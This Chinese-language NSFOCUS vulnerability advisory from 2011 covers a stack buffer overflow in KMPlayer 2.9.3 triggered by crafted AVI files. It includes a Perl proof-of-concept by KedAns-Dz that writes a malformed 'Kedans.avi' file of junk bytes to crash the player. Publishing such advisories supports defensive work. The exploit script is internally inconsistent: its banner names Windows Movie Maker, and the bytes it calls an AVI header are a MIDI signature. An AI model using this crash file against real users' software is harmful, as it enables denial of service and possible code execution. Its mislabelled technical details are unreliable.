安全研究

安全漏洞
KMPlayer ".avi"文件远程缓冲区溢出漏洞

发布日期:2011-03-10
更新日期:2011-03-10

受影响系统:
KMPlayer KMPlayer 2.9.3.1214
描述:
BUGTRAQ  ID: 46834

KMPlayer是一套集成了网络上所有解码程式(Codec)的影音播放软件。

KMPlayer在处理AVI文件的实现上存在远程缓冲区溢出漏洞,攻击者可利用此漏洞在应用程序中执行任意代码或造成拒绝服务。


<*来源:KedAns-Dz
  *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

KedAns-Dz ()提供了如下测试方法:

#!/usr/bin/perl

###
# Title : KMPlayer 2.9.3 (.avi) Stack buffer Overflow
# Author : KedAns-Dz
# E-mail : ked-h@hotmail.com
# Home : HMD/AM (30008/04300) - Algeria -(00213555248701)
# Twitter page : twitter.com/kedans
# platform : Windows
# Impact : Stack Overflow in 'KMPlayer.exe' Process ,
#      ++  and Blocked in KMP window form !!
# Tested on : Windows XP SP3 Fran.ais
# Target : KMPlayer 2.9.3.1214
###
# Note : BAC 2011 Enchallah ( KedAns 'me' & BadR0 & Dr.Ride & Red1One & XoreR & Fox-Dz ... all )
# ------------
# Usage : 1 - Creat AVI file
#      =>    2 - Open AVI file With KMPlayer 2.9
#      =>    3 -  OverFlow !!!
# ------------
#START SYSTEM /root@MSdos/ :
system("title KedAns-Dz");
system("color 1e");
system("cls");
print "\n\n";                  
print "    |===========================================================|\n";
print "    |= [!] Name : Windows Movie Maker 2.1 (Import AVI video)   =|\n";
print "    |= [!] Exploit : Stack Buffer Overflow                     =|\n";
print "    |= [!] Author : KedAns-Dz                                  =|\n";
print "    |= [!] Mail: Ked-h(at)hotmail(dot)com                      =|\n";
print "    |===========================================================|\n";
sleep(2);
print "\n";
# Creating ...
my $PoC = "\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00"; # AVI Header
my $Junk = "\x41" x 515 ; # Junk
open(file , ">", "Kedans.avi"); # Evil Video AVI (529 bytes) 4.0 KB
print file $PoC.$Junk;  
print "\n [+] File successfully created!\n" or die print "\n [-] OpsS! File is Not Created !! ";
close(file);

建议:
厂商补丁:

KMPlayer
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.kmpmedia.net/

浏览次数:2627
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障